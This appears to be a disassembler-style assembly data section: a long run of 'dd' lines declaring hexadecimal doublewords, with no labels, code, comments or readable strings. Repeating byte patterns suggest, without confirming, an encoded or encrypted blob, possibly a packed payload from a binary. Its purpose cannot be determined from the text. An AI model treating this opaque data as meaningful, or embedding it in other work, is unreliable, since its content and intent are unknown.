		dd 2C58B330h, 3AD0692Dh, 0D9BED9ADh, 0AEB1321Eh, 0A752B2A3h
		dd 0CD72B936h, 0B5D0EADDh, 0EAB13DBEh, 0B5AAC256h, 4A97B6D7h
		dd 0EDBCF941h, 0D42B47FBh, 6EEB8C30h, 5031530Dh, 0A3353D26h
		dd 8AB13256h, 0A33054AFh, 53D0D31Dh, 5DB1334Dh,	0AEB135BFh
		dd 91E74556h, 0F70CF17Ah, 3C583590h, 0EAB13245h, 80C83662h
		dd 802630C9h, 82E17EAFh, 174EBAh, 0BE0C0C73h, 0ABB13250h
		dd 39F95C8Eh, 0AD76E961h, 75B13257h, 3DBE5256h,	5DB13254h
		dd 25D011E0h, 0EED15291h, 0E8467154h, 0B4F7FCD6h, 0EF71B137h
		dd 75B8B859h, 0DCD13256h, 1F40ECD7h, 47D0A8E2h,	57B1317Bh
		dd 0AC7654A3h, 3DD13A59h, 0EAB13246h, 1107FAC9h, 89EF1DD8h
		dd 0B4FEE909h, 912B1AB7h, 0A63A540Ch, 42AFB837h, 0D5B13246h
		dd 4B0A173Bh, 42C89437h, 44F1CE8h, 0AB1F8B41h, 47BED1D6h
		dd 57B13251h, 0DD67D419h, 0DA3CF355h, 0EAB133D1h, 0BE31CA56h
		dd 0BB383DD6h, 0A4B13256h, 47B06DDEh, 57B13251h, 6F917435h
		dd 1281D678h, 0EAB13011h, 64583256h, 0AAB13256h, 7B390232h
		dd 6983BAEAh, 63E3318Fh, 63231CEh, 0D058F5DDh, 69B13256h
		dd 7E1F06EEh, 4FB7F2D5h, 5DB3A6BFh, 0A9333D56h,	58B13256h
		dd 0ABB133D8h, 0DD58C756h, 77B13256h, 4DBC5159h, 0DC658D0Ah
		dd 0CD210CD7h, 0AE8EB659h, 5A583256h, 10B13256h, 8D6CA1ECh
		dd 9324ECCDh, 0C54B6CD2h, 0B5210CD6h, 5DB106D3h, 2FD7CE56h
		dd 0C721CD28h, 0ABA6B659h, 3C483256h, 0EAB13277h, 75B13EBFh
		dd 0F86F8C56h, 4BC6A051h, 0F7696089h, 0AE76B9CAh, 0ABB31ABFh
		dd 1B3B5256h, 66218830h, 3A33BF37h, 0DAB780C7h,	3B7B8559h
		dd 6B54EBD7h, 5A586237h, 11B13256h, 84127EC4h, 1D7B878Ch
		dd 88CF0F59h, 0BB323D00h, 0A1B13256h, 2048A0A9h, 0A24D34E4h
		dd 2FBEF25Dh, 0D5B13204h, 0EAA7B859h, 64583256h, 1EB13256h
		dd 0BD1D6EC1h, 0B0373232h, 0ACBDF1FBh, 0D6F764A1h, 5CBEFADDh
		dd 0EAB1325Ah, 75B135BFh, 13F07456h, 0AF41A96Ch, 3FFE80DBh
		dd 0D4BE34E4h, 0ABB13246h, 260E3D36h, 0EAB134BFh, 2BD40D56h
		dd 0DBEBD0BFh, 5DB1A9BFh, 0A1E7CB56h, 57B133D5h, 653AC756h
		dd 56BE67AAh, 0EAB1324Dh, 100F5436h, 0BABEDAB8h, 1FF23256h
		dd 7B29F46Ch, 7109AAAh,	0C8EC65CCh, 0DAD0694Dh,	0EAB135DCh
		dd 74373D56h, 42B13256h, 0D357A0A9h, 0C8D134E4h, 0BF30ECDDh
		dd 0EB14E601h, 0DA496F37h, 0EAB12BDFh, 75A5DB56h, 0D0CA3256h
		dd 0B2231DE4h, 38C372EEh, 8D784764h, 58EE296Bh,	1B9ADBE3h
		dd 368C5A3h, 75B13242h,	1B6214EFh, 6C56E4DFh, 4CF86E74h
		dd 30A61EACh, 0FC60E6DDh, 6ED75208h, 62BEEE7Ch,	75B13255h
		dd 0DB90DBD6h, 5C494FD5h, 0AEE9B759h, 5A583256h, 70B13256h
		dd 968BF350h, 0A3083A94h, 4DA0CA33h, 0B2587BE6h, 1DB13256h
		dd 2FF2FD61h, 37687BF3h, 0EFE8B5ECh, 2D1B5315h,	0E50954AAh
		dd 0DED7C7D3h, 0BAB0B859h, 524D3256h, 0CEB074E0h, 0DE3E4DDh
		dd 0A4D19937h, 0D5B130DDh, 8CD05256h, 146BD6ECh, 0BAB1BABFh
		dd 2032CE56h, 2BBE30AEh, 57B13239h, 0A00954AEh,	7ED7C79Fh
		dd 6B77B936h, 0FF85B8BDh, 2D7536Ah, 0D0BEB659h,	0AEB13244h
		dd 1C69B336h, 42CF0B13h, 0D5B13253h, 0B22F9F6Dh, 0DED75374h
		dd 0BABBB159h, 58583256h, 9B13256h, 0EA749B34h,	0AAF78459h
		dd 0C9383DAFh, 8AB13256h, 0B0CDF0D7h, 0B5580500h, 20B13256h
		dd 0A1EF6182h, 6F5C8F4Ch, 0FA6E596Ah, 7ED0E6C8h, 0EABEDBAEh
		dd 86493256h, 6B3A52F2h, 0C16EB307h, 0F6D43ED7h, 0BE76B937h
		dd 0ABB1325Fh, 54F8CF39h, 0B8A3D325h, 6558691Bh, 8AB13256h
		dd 70C67D9Fh, 0C2FCA6A6h, 51A11CAEh, 0F20E742Eh, 0D3586CA3h
		dd 0A3B13256h, 76F3F07Bh, 73496DFBh, 5DB123BFh,	0A8566756h
		dd 3886D243h, 0FD10C4B0h, 0DC9BA3EEh, 0E273CB49h, 7358CB56h
		dd 38B13256h, 0F3FC5CE1h, 0A1586714h, 0B3B13256h, 0F06F1BAAh
		dd 9E033CD9h, 0D846451Fh, 993ABD7Ah, 524952A3h,	5DB13256h
		dd 6A5BB30Ch, 0ABB780EAh, 0F2E76436h, 0DF58530Eh, 5BB13256h
		dd 978ACDF7h, 34EB7BD2h, 55F4B9D3h, 0AEB6B859h,	0D9BE3256h
		dd 0ABB13257h, 5733BBA3h, 1FB780D8h, 75BDB759h,	3ABE3256h
		dd 5DB13250h, 0AEB1B259h, 0AED03256h, 21D1529Fh, 2F3A53BEh
		dd 0EAB5F037h, 75B0B759h, 0EF493256h, 525DB9AFh, 0AEB13BDBh
		dd 6B085256h, 20CCC871h, 11325381h, 0EAB8DBAEh,	0DEC43256h
		dd 0FDE60629h, 3D609BE0h, 0AEB13CBFh, 0DA466A56h, 2642D83h
		dd 0C24A5E20h, 2BAF07Ah, 75B13256h, 0E65BB30Ch,	3DB780EBh
		dd 0AEB123BFh, 0B2C8A656h, 44B90ACFh, 68B78D28h, 0B81BE1F7h
		dd 0AB3B88A3h, 0FF76CE37h, 5DB132AEh, 0EE045256h, 57B3B159h
		dd 65053256h, 29F4F537h, 0EAB13256h, 75B6DB36h,	989E3256h
		dd 9B7EA6ECh, 0A45AB2CDh, 37710137h, 0B53A5437h, 0D5A7B759h
		dd 68BE3256h, 75B13246h, 0BAB139BFh, 4CFC1156h,	0CA95FE6Dh
		dd 0D3694542h, 3B3FB091h, 0D5B034E4h, 66BE3256h, 75B1325Eh
		dd 0BAB3B659h, 3CD13256h, 0AEA3DA36h, 0D1B23256h, 0B448CD39h
		dd 1374CAFFh, 0D7550387h, 548F7363h, 31EBF0DDh,	0DCD753AFh
		dd 0A121A2ADh, 57B122D3h, 0ABBADB56h, 8B273256h, 700571C2h
		dd 335E375h, 524AB287h,	591BB659h, 0A1483256h, 57B133D3h
		dd 0A4F1C756h, 0D5B12AD3h, 0EAA2DB56h, 19EE3256h, 8DEC3164h
		dd 64124694h, 0DD2B9627h, 5322A1E6h, 424AB278h,	0D1CBB659h
		dd 0E6583256h, 65B13256h, 0DF0F6EBFh, 0F9AD05C1h, 0EED1FC31h
		dd 943A5436h, 503153A3h, 8C353DBDh, 3B13252h, 75B1325Fh
		dd 80BA4EE9h, 0CA091E43h, 24BE7246h, 57B13257h,	5B56B2A3h
		dd 0D5B126BFh, 17D65B56h, 95C53BE7h, 3D2D350Ah,	30B4C95Ch
		dd 0DE96709h, 0AC30546Bh, 2FBEB259h, 0D5B1364Ah, 0C33331AAh
		dd 9CB79E42h, 0BAB13247h, 1E418093h, 0A6AA8A26h, 7845774Eh
		dd 2D8A11B2h, 5BBE7201h, 0EAB13257h, 974AB2AFh,	0B962B659h
		dd 3DD13256h, 201EF4EFh, 57333D25h, 0CAB13256h,	0B485C4D6h
		dd 0E552C9D6h, 75B2ABD2h, 0BABBDB56h, 3ED23256h, 8EBC8957h
		dd 775C27D3h, 0CC4AB330h, 4B353DB5h, 1FB13255h,	7A41D1D6h
		dd 0BAB123D8h, 5DBDDB56h, 0B8DE3256h, 3570F91h,	496778E6h
		dd 2E317EC7h, 7F353D26h, 15B13255h, 0BABCDA01h,	8DAB3256h
		dd 722B6DBAh, 0FFB979E5h, 0F5959D8Bh, 3CD0CE08h, 0EAB13247h
		dd 261BE892h, 6C50BD02h, 0D3C3DA99h, 40E8E83Bh,	493A54BBh
		dd 5352B2AEh, 0D5B4DB36h, 0B7BF3256h, 7A7B4182h, 0BAB13EDAh
		dd 5DB6DB56h, 64943256h, 1AFD391h, 503153D9h, 72353DEEh
		dd 3B13257h, 75B13258h,	0DCAF035Dh, 0CC1FA897h,	92EB5596h
		dd 0DCD1395Bh, 743A548Ch, 0D08FB237h, 0EB35B659h, 7AD13256h
		dd 0BAB131D4h, 0A50E3D56h, 6141B330h, 693153D7h, 0C0353D7Bh
		dd 2CB13257h, 0EAB6B459h, 7AD13256h, 0DBD1C9E9h, 358FB237h
		dd 0AFE5B659h, 174D3256h, 11D7CB36h, 2AD0FF13h,	5821BCD4h
		dd 0FED7C750h, 5D31C748h, 56353DAEh, 0CEB13256h, 20DF8C30h
		dd 956BB330h, 54D153FEh, 138A9080h, 75A5DB77h, 3D2A3256h
		dd 4DAA1255h, 1604E3Bh
		dd 1DCC9A7Eh, 5C42F3A7h, 0B3D0DCE8h, 230C9D7h, 74B1B659h
		dd 0DC493256h, 0D7BE2CDDh, 0AEB1325Dh, 57B134BFh, 55EACD56h
		dd 55C50317h, 8AD1C2B1h, 0F0E58B30h, 76D891EDh,	3BD05366h
		dd 6E30C9D7h, 5761B659h, 0BF583256h, 3AB13256h,	6E418F19h
		dd 0EF42DC31h, 266F82DEh, 32CCE59Ah, 0CE4ADEBAh, 0C163B336h
		dd 42A6A54Ch, 0D5B13258h, 8803DDFAh, 4F187310h,	2F43C2CDh
		dd 8D0DD13h, 0AEB0B959h, 37493256h, 0ABB13ABFh,	7E7C5056h
		dd 0E6AC0B21h, 2AE0525Bh, 0BAB13ABEh, 83E8D856h, 822271Dh
		dd 36D0699Dh, 2557A0A9h, 5CBE34E4h, 0EAB13257h,	25D16FAFh
		dd 577FB330h, 0B4D16B73h, 0AEB13258h, 2CB0119Ch, 2B49DB2h
		dd 7E12AC10h, 61D71FABh, 0FCD053A8h, 5349CE13h,	5DB1325Fh
		dd 0B42E4F11h, 0CCFBADBBh, 0B8585376h, 4CB13256h, 0E25ACB25h
		dd 83BC3B9Eh, 11CD6DE8h, 0D5553452h, 0D3320BFCh, 0D2BE33AAh
		dd 0ABB13418h, 0D5B9B759h, 64BE3256h, 75B13254h, 3A5336h
		dd 5B1D21D7h, 0F6486336h, 57B4BB59h, 2AD73256h,	0B495B5A5h
		dd 0FE585206h, 6FB13256h, 7BC488DBh, 0CB825559h, 556747A7h
		dd 82053617h, 0CDCEDEA6h, 5ED0C3DDh, 5821BCD4h,	4988C750h
		dd 0BAA2DB66h, 6E963256h, 92036B80h, 8D2AE673h,	11E0B111h
		dd 0B3015277h, 68BE6A65h, 75B137B4h, 0BAB9DB36h, 687B3256h
		dd 205EEABEh, 0D6D7B256h, 0CA36499Fh, 0E14088DDh, 0BA4434FAh
		dd 7D373DAFh, 0B5B13256h, 5DB130DCh, 25D05256h,	0E521BCD4h
		dd 14BE5250h, 0F25BB2A7h, 0DA8D0B37h, 75A5B659h, 3CBE3256h
		dd 5DB13258h, 0AEB13BBFh, 3B873356h, 1973CEDh, 0DAE920C1h
		dd 0EAB4B7D9h, 0CF3ACA56h, 0BC03BC0Bh, 4F5852A3h, 0ADB13256h
		dd 0AAF7E420h, 46D3714Ch, 162D11E1h, 4792E4FBh,	14378060h
		dd 34ECB0D5h, 0A1A534E4h, 0AEB135BFh, 5C99BA56h, 2A2A4350h
		dd 0B3D105DFh, 500FDEEDh, 77AA0C52h, 0B0393D37h, 3DB13256h
		dd 0C8628559h, 0C896FDD7h, 0BBF6BB37h, 5E4D62A3h, 5821BCD4h
		dd 63343D50h, 53B13256h, 5DB13247h, 1DF70646h, 4E59CEC3h
		dd 0C286E83Dh, 8ED5BBB9h, 0DAADB9BBh, 0FC496AAFh, 0B7583A09h
		dd 1CB13256h, 254E83CDh, 0C39B781Ah, 0DB61BC69h, 0D5B5DBBFh
		dd 0AF76CB56h, 75B130AEh, 0B1363D56h, 3DB13256h, 0AEB1B259h
		dd 0E8BE3256h, 424953A1h, 0D5B1324Ah, 12F4F5AEh, 75B13257h
		dd 0BAB13DBFh, 37D7DB56h, 49118F29h, 3ECCB3FDh,	0CEBC0C23h
		dd 5BEC88DDh, 3D134E4h,	75B1325Dh, 6A03D7CEh, 913463E2h
		dd 2F7D7A18h, 0AF96308Fh, 29325315h, 0D303BC0Bh, 63BECE42h
		dd 75B13244h, 524BB836h, 5DB1325Eh, 7765617Ch, 0F7CF8494h
		dd 9C385309h, 0D5B13DBFh, 3337E756h, 0B547EAAh,	2C2B083h
		dd 35968F52h, 47A175DFh, 57B13253h, 2F87DB3Ch, 0D649B10Bh
		dd 0EA95B759h, 0F4D13256h, 8F738898h, 8C3A525Bh, 0CFD05336h
		dd 0C73FB091h, 0ABB334E4h, 0B3D13256h, 8BD437E9h, 75B139BFh
		dd 4232CA56h, 0C83C3D54h, 57B13254h, 57494FD5h,	0AB21B659h
		dd 0D0583256h, 59B13256h, 0B2B0319h, 0BBF78459h, 5DB13ABFh
		dd 80DEFD56h, 0E74C060Bh, 2B18CBEBh, 0DAB13256h, 0EAB116D3h
		dd 7058CE56h, 0AFB13256h, 8B14FE3Ch, 4632CA16h,	57B8DB53h
		dd 0B44A3256h, 39B241EDh, 3185876h, 75B13265h, 0BA4E1FA3h
		dd 52D13256h, 0AEB134D2h, 573E3D56h, 0CAB13256h, 3CB4DAD5h
		dd 0EAB1325Fh, 0C1EB5DADh, 0AD720C05h, 0B7305272h, 0F012C3BFh
		dd 1405FCD7h, 42D015CCh, 0D5B13207h, 0EAB13BBFh, 0D3C24256h
		dd 9488A4FDh, 0A5E2A511h, 3E3FA8DDh, 0D6D134E4h, 0ED3E089h
		dd 0B7BB331h, 8B92C447h, 9C8236DDh, 0BAB13250h,	0E5D2FEFEh
		dd 0A1EA07C2h, 57B12ADCh, 0ABA2DB56h, 5B33256h,	23E9F9F2h
		dd 0D0AE97F1h, 83498FD1h, 9F2DE6FEh, 0AEB19B4Dh, 0D2BEB256h
		dd 0ABB132EFh, 0D5B6B559h, 6EBE3256h, 75B13257h, 537731AFh
		dd 5DB13247h, 93305948h, 1970E026h, 881695BDh, 20DAF01Ah
		dd 0EF71B18Fh, 75B13FBFh, 123A5956h, 0F9998930h, 0E1F4975h
		dd 0D5B28DF8h, 0AD03A2D8h, 0D5B0BE59h, 3483256h, 75B13259h
		dd 48746E28h, 5D091D4Eh, 8CFA0FDCh, 1F88E1E8h, 0A3F6BBAAh
		dd 25305436h, 61D706D3h, 3238538Ch, 5031525Ah, 850E3D75h
		dd 0BA3D3D37h, 0BEB13256h, 0ABB13259h, 0F2B8B04Dh, 0D2E51CE2h
		dd 6E30136Bh, 534EF7D5h, 5DB130CCh, 0AEB7B259h,	37D13256h
		dd 0CAE86137h, 0D5B126BFh, 4ACC1C56h, 0C3FE30F1h, 0D216A4F7h
		dd 88339D1Dh, 0EBD18EE8h, 0BE69C59Ah, 0ABB1325Dh, 0D8EF13C6h
		dd 0CF427D53h, 5EF2BEB7h, 0B63C3D90h, 3DB13256h, 0AEB1B759h
		dd 0EFD73256h, 5CD0B043h, 0D5BFDB8Eh, 55FC3256h, 5FC35EC9h
		dd 3C417D3Ah, 5F470BD8h, 0A1B4F2D5h, 57B13BDBh,	50A5256h
		dd 0B586B216h, 6EBE5337h, 75B13245h, 0BAB8DA36h, 0F7C23256h
		dd 2F82FA24h, 0DF6CF63h, 0A8D05336h, 6721BCD4h,	0EAA5DB50h
		dd 5DA3256h, 5D857D26h,	0F972F719h, 304D714Ah, 5B28A34Fh
		dd 42F9B19Fh, 0D5B13259h, 0A82F25FBh, 4B434911h, 2286313Ah
		dd 52574EFAh, 0AEB13BD5h, 943A5256h, 7D12DFECh,	92385315h
		dd 6349C75Eh, 15D13E11h, 0BAB13BBFh, 7F089156h,	7033DC82h
		dd 5A582A28h, 2BB13256h, 774A0B6Bh, 8502F20Bh, 40389C14h
		dd 0C676B337h, 3CDFA756h, 0AEB0A7BFh, 57BFDB56h, 3573256h
		dd 0EEF58F2Dh, 62602DE7h, 6BDACF67h, 0B5D1F265h, 5DB134D1h
		dd 0AE3E3D56h, 31B13256h, 0CA6EE8D7h, 0D4F7B837h, 0E5319AA3h
		dd 75B18FD3h, 37BE5256h, 5DB13252h, 8E608C30h, 91B2CA37h
		dd 0ABB135BFh, 61EF8456h, 0DB08D2E1h, 9CB3F2D5h, 0BAB13258h
		dd 0C084137Fh, 0AB9C7837h, 0A1CD2EF9h, 0AA0A5D39h, 29B13256h
		dd 6EBEE95Dh, 75B13264h, 693A5236h, 0D40A5437h,	343B53BBh
		dd 5100FF84h, 0ABA9B359h, 0C6583256h, 0E3B13256h, 0D426FD9Dh
		dd 8B179BF3h, 0FACA8885h, 6970CFE1h, 0B4318CE8h, 68B2C757h
		dd 0D5B123BFh, 0CAA9CF56h, 0C36538F0h, 88FA1F5Eh, 38A05D4Eh
		dd 0E938B166h, 0D3BEC75Eh, 0ABB13247h, 0D5BAB259h, 0EC583256h
		dd 8BB13256h, 7A57D329h, 51F6BBF4h, 0AE05DBAFh,	0D0BE3256h
		dd 0ABB1325Ch, 0B047B336h, 5CF95A21h, 0AD46532Ch, 0BA4E17AFh
		dd 3BD13256h, 16A388EDh, 5FC18524h, 5E771937h, 0C458EAA1h
		dd 0A3B13256h, 94B8B674h, 5C2D6A9Eh, 898E0883h,	31C245C3h
		dd 57B7B259h, 0CBD13256h, 0B464B837h, 3B3F2D5h,	75B13245h
		dd 0DC1F9BEBh, 0E2BD1507h, 997F66D2h, 16F23D2Bh, 0CBCAF06Ah
		dd 0D5B4B359h, 6BD73256h, 0CB22C5A7h, 0B8808A35h, 55F6BB37h
		dd 0AEA3B659h, 5A583256h, 24B13256h, 109DC2C3h,	59810754h
		dd 0CB2F6909h, 0BAB6B659h, 0E7D13256h, 0BDDA437Fh, 5BF6BB37h
		dd 0ABB13FBFh, 3B9A2656h, 8F812539h, 5867ADBFh,	0B549B44Fh
		dd 5DB122D4h, 0AEBADB56h, 823A3256h, 0FCA9B85Bh, 1EF7CE1Dh
		dd 0EAB7DB34h, 2A103256h, 97EEC76Fh, 5DA5DB37h,	0FC253256h
		dd 0D78DADD9h, 47AEE4E7h, 0EA66BCEAh, 0C855623Dh, 8978D907h
		dd 42E4C795h, 0E6D1DEDDh, 0EAF72276h, 0D4D04EE0h, 0CDD1CE92h
		dd 0B43CA4EEh, 0EAB8DB36h, 16863256h, 2BB6A563h, 0B50899A9h
		dd 0AEB13256h, 0BF5BB30Ch, 0CBB78091h, 0AAF28830h, 0EAB137BFh
		dd 0AE12BC56h, 0B5D037D5h, 5DB13EDCh, 0AEB6DB56h, 0ADA13256h
		dd 6D75CA24h, 0EE0BB9A4h, 0E5B780D8h, 75B13AD7h, 0B8373D56h
		dd 3DB13256h, 57780137h
		dd 578EB1A3h, 0AE88B659h, 0B3D13256h, 5FE5EAE9h, 723A5335h
		dd 0AB595236h, 25B13256h, 334475BAh, 0CCCF81F7h, 0BFDE67A2h
		dd 0A6E26506h, 0EAB8DB09h, 66023256h, 0B80F7140h, 3C591C96h
		dd 0AE3F3D01h, 0CB13256h, 0A7C4CD37h, 0D73F3D36h, 60B13256h
		dd 4E53B7h, 0BAA1DB5Eh,	0EB463256h, 1C7299CFh, 0C99062B8h
		dd 0EB522C72h, 55BEAEE1h, 0EAB13257h, 9D4962AEh, 0BAB13B6Ah
		dd 5DBBBD59h, 0AB583256h, 20B13256h, 3CEF19B2h,	2E0E3D36h
		dd 0E5713937h, 75B16FD3h, 0AA58CE56h, 0BCB13256h, 2DAF76DCh
		dd 7DAF7F88h, 0AAC80A76h, 5EEA7CA7h, 0E058CE51h, 0B8B13256h
		dd 0E6883622h, 0E61F1638h, 0AEEFDBC6h, 0BFD13256h, 0ABB13244h
		dd 0AB1E05F6h, 66255329h, 321D2352h, 5850D163h,	0E2BE8CF4h
		dd 0A35868ADh, 0B9B13256h, 0BB791B98h, 0B3449C6h, 51661889h
		dd 0B232CE37h, 0AC3C3D42h, 0B4B13256h, 0AEB13247h, 637EE008h
		dd 0CEED2C31h, 0F11CCB0Bh, 0ABA14DB1h, 8B5ADB85h, 0DCD1CDA9h
		dd 8165D4D7h, 0CF6FB930h, 374D77DFh, 0ABB7B059h, 50BE3256h
		dd 0EAB13256h, 0BE5CA5E9h, 0CF4E532Fh, 284EC75Ah, 8F353D5Eh
		dd 37B13256h, 0ABB126BFh, 41067A56h, 0FDA9785Ch, 71268E75h
		dd 7500B964h, 8BC731CBh, 0AE3D3D10h, 36B13256h,	2DBE05A9h
		dd 0D5B1325Ah, 0EA393D36h, 13B13256h, 0DBE3B9EEh, 5DB905BEh
		dd 0AEB6DB56h, 6BD93256h, 8E49BB6Dh, 0DA7139CEh, 0EAB106D2h
		dd 0CABE5256h, 6B305491h, 0B4D0430Ah, 0AEB131F5h, 0A9095436h
		dd 0ABA3DA5Bh, 0EF383256h, 7FCCE7ADh, 90737C30h, 1DD2BB02h
		dd 81F6439h, 66B5C2D7h,	36E83EFAh, 57F4B9AEh, 0D6373D36h
		dd 8CB13256h, 0FFBEF5DDh, 0BAB13254h, 3DD06907h, 0C8D1F3D6h
		dd 6ED0ECDDh, 0F3333D51h, 3CB13255h, 0EAB13251h, 0CAF9F56Dh
		dd 457403B6h, 0B444CE13h, 0AEB13242h, 15CA90Bh,	0EDBF6CAh
		dd 429B2D72h, 84615C4h,	11FCCE3Eh, 0BAB54DD5h, 5DFAB659h
		dd 0A2583256h, 0C8B13256h, 0DE2CD332h, 0DEB4735Ch, 6934273Bh
		dd 7AB13E29h, 0BAB102D2h, 52323D56h, 0CEB13256h, 0BE418D59h
		dd 0ABB13253h, 0CE47E232h, 0AB5853C8h, 15B13256h, 0BAB13BBFh
		dd 79973256h, 39A7CD30h, 893011B8h, 0EC1AFE23h,	2A4E8A37h
		dd 5349CDA9h, 75B13253h, 0BABCB359h, 52D13256h,	0AEB132DFh
		dd 0C54C8C56h, 58D00B65h, 7258CEFDh, 8A4ECDA8h,	146FB930h
		dd 0BFA14DD5h, 5DEFB659h, 22BE3256h, 57B13257h,	0BBCEB1AEh
		dd 4F343D50h, 8AB13256h, 0F4BEC8DDh, 0BAB13254h, 1CD0F8DDh
		dd 0AAF6B9AEh, 57B13BBFh, 8CAE2556h, 6C138DACh,	0B53A11D5h
		dd 0BE01525Ah, 0C419EBD7h, 0B4D00A69h, 0AEB1339Ch, 57A7B759h
		dd 0BA583256h, 1BB13256h, 5E63E09h, 0B435A8A1h,	0F70DB3DEh
		dd 0DE8044F2h, 0CEB575DDh, 57B2B859h, 60313256h, 0DAD0CB0Fh
		dd 0EAB13ADFh, 14D15256h, 305E8C30h, 51EEB937h,	0AEBADB36h
		dd 90C83256h, 742AC5F0h, 0B14C3217h, 0B0585319h, 9CB13257h
		dd 0BAB13247h, 8B2D1A35h, 520F274Ah, 5BE1111Dh,	0B3184DA0h
		dd 0D1F6B97Ah, 0EAB134BFh, 9A986D56h, 0DA2F6E9Fh, 5DB2B259h
		dd 25D73256h, 0CF0452ADh, 0ABB1B759h, 0B4D03256h, 0E5BD6DDDh
		dd 75B133DEh, 0E58ACB56h, 0E9343D5Eh, 0A1B13256h, 57B139DEh
		dd 0ABB7DB56h, 0D3AF3256h, 0E5246EB8h, 75A2DB04h, 0B6373256h
		dd 5EDF271Ah, 0FE08A36Fh, 0F74A7594h, 0F9D92AE3h, 0D1E6B96Dh
		dd 0FAE419AFh, 75B13BBFh, 31E51D56h, 67AF2F15h,	0FBB281FCh
		dd 83AC742h, 0ABBFDB5Ah, 725B3256h, 8D79141Ah, 14CBCC84h
		dd 7C4EA4DFh, 5249E87Dh, 0AEB139D6h, 0D8BE5256h, 0ABB13256h
		dd 0B47FB930h, 8AB4D9D5h, 1460B936h, 0CF6FB330h, 4C585365h
		dd 62B13256h, 0EE09221h, 0AE21A83Dh, 64678982h,	7FB755FAh
		dd 0F2BE520Ch, 0BAB13257h, 58363DAAh, 16B13256h, 67D7A673h
		dd 0AB80DB37h, 58BE3256h, 0EAB13255h, 0FED0CE36h, 38BE3611h
		dd 5DB13257h, 0A2EEB9AAh, 57B7B959h, 0F9D13256h, 0B442B90Eh
		dd 13B56D7Dh, 80B4D9D5h, 0BC3CB855h, 0DE4D34FAh, 0A1B22229h
		dd 57B11AD3h, 0ABA1DB56h, 1BA23256h, 18362662h,	94D6DF04h
		dd 2FC722E8h, 52F05B77h, 0AEB13ED9h, 51393D56h,	0A4B13256h
		dd 0D5B132DBh, 3681956h, 75B13253h, 7D8C72Dh, 5DBDDBACh
		dd 3C933256h, 99C44BD2h, 2371710h, 8938B357h, 52443357h
		dd 8A4ECDA9h, 0BAB135BFh, 4590F056h, 18517C62h,	57B137EFh
		dd 0B858C756h, 0A4B13256h, 0E268D855h, 0F86F71A0h, 32F025E0h
		dd 8BDC4057h, 542CAB5h,	57A9BD59h, 0B8583256h, 75B13256h
		dd 7608A7C8h, 0BE7BE327h, 3EA3F940h, 54F094AFh,	474DE932h
		dd 0A84ECE64h, 0ABAAB159h, 5EBE3256h, 0EAB13243h, 75B122BFh
		dd 7DE03456h, 97A04858h, 0D3B86A5Dh, 48CD21F7h,	1CBE5264h
		dd 0D5A5DBA0h, 2EED3256h, 324E2FFCh, 0ECCFC6F8h, 0F8EB4479h
		dd 7EEAFB02h, 36D05831h, 0A558FBAFh, 19B13256h,	60A46234h
		dd 6C608C66h, 0DD4DC844h, 5DA1F080h, 0AEB13ABFh, 0EE2D7356h
		dd 9021763h, 53BE67B3h,	0EAB13250h, 255DB836h, 563A5309h
		dd 0A175B1AAh, 0AEB0B659h, 37483256h, 23BECB36h, 0D5B13255h
		dd 8B61B930h, 75B122BFh, 596B5D56h, 0DCFD4A0Ah,	0A5BFF4CEh
		dd 5063B4AAh, 0ABB1DA34h, 54EB3256h, 587CE0BCh,	75A5DB50h
		dd 11683256h, 0B484E7D5h, 3DEB1ED9h, 4B62C12Bh,	2C7BD736h
		dd 0B3D1EECEh, 6D5DEAD7h, 4E0BB937h, 0B5B780D8h, 5DB129D9h
		dd 25D75256h, 57A0DBA1h, 60BC3256h, 87BEB4F5h, 7D3DE77Eh
		dd 0D3F96A42h, 0DB9868F4h, 0A17801AAh, 0A1B10DD5h, 57B26FD2h
		dd 0ABA0DB56h, 0FCDD3256h, 8E36D4F8h, 7923481Fh, 747D376Eh
		dd 0D6432A69h, 6035251h, 57B123BFh, 2CBB3956h, 0B085770Eh
		dd 8886CFB3h, 43E1FF4Fh, 45D099FBh, 0A4493E23h,	0CEB947A9h
		dd 57B13FBEh, 4CA18756h, 0BCF0340Dh, 0E2637357h, 2FE0007Fh
		dd 5BE5208h, 0DD053A9h,	0AEB123BFh, 434CC256h, 8F4FC678h
		dd 162BE6A8h, 4989E85h,	485900ABh, 42B13255h, 0D8BEF25Dh
		dd 0AEB13277h, 57B134BFh, 0B41AE756h, 5EC1423Dh, 0ED3C3D51h
		dd 7AB13256h, 0BAB133D8h, 7D58CB56h, 5BB13256h,	4376B1A3h
		dd 427FB836h, 0D5B13250h, 0D500E90Fh, 9CD0C193h, 454ECD12h
		dd 5DB0BE59h, 274D3256h, 0BFD1CE13h, 0ABB13245h, 3DB732B2h
		dd 88812C25h, 6FC8211Ah, 0C0B39AD1h, 0C8832CBh,	49306A0Dh
		dd 50DD3179h, 0A7C4CD37h, 0DDC4CDAFh, 386CDAAh,	75B1325Ah
		dd 50A84BB6h, 5C701DA1h, 630AF33Fh, 57B39DBEh, 0ABB8DB56h
		dd 842F3256h, 0D0343D19h, 7EC0BE99h, 9A353D96h,	52B13256h
		dd 0AEB121D4h, 5E585256h, 32B13256h, 829FBB3Fh,	0AA215DC7h
		dd 146BB930h, 0B899DBAFh, 0D64D3256h, 24BECE13h, 57B1325Eh
		dd 0ABB3BA59h, 0B4D13256h, 68BE356Fh, 75B13058h, 443A5436h
		dd 0A2D0EFE3h, 19D1CE13h, 2832536Ah, 2FBE3252h,	0D5B13271h
		dd 0EAB137BFh, 76F85D56h, 0C5324814h, 0D9BE325Ah, 0AEB13245h
		dd 57E2DBAEh, 0A4D13256h, 0D5B130D2h, 6AEE6356h, 0CDD0A385h
		dd 454ECDA9h, 5DB134BFh, 134FAD56h, 0EE5975BFh,	0ABB13253h
		dd 0D5BEDBAAh, 448B3256h, 617F8127h, 30A08877h,	0FCE23F42h
		dd 0A11AC15Fh, 57B135DAh, 593A5256h, 0B4608559h, 154E26BFh
		dd 0F4BECAA9h, 0BAB13257h, 4DCEB1AEh, 0CB353D53h, 0ABB13256h
		dd 0ADA14DD5h, 0D515B759h, 0E3583256h, 0F0B13256h, 6B5D1037h
		dd 0B6A4C1E9h, 0AEBDDB17h
		dd 9E263256h, 25D9E6C2h, 1943633Dh, 0AD3AD79Bh,	0F5E25252h
		dd 4FE8E792h, 23ACE37h,	0AEB8DB5Ah, 0E08D3256h,	752E532Eh
		dd 3CF27127h, 0EAB132B7h, 7AFF8636h, 0BAB131DDh, 0A63A5456h
		dd 11D75237h, 0D6D7CE00h, 0CAB1198Fh, 0B5B575DDh, 0EAB122BEh
		dd 4D064E56h, 0C109E250h, 0C81BDE7Bh, 0A2BCDD3Bh, 0D67B9CBh
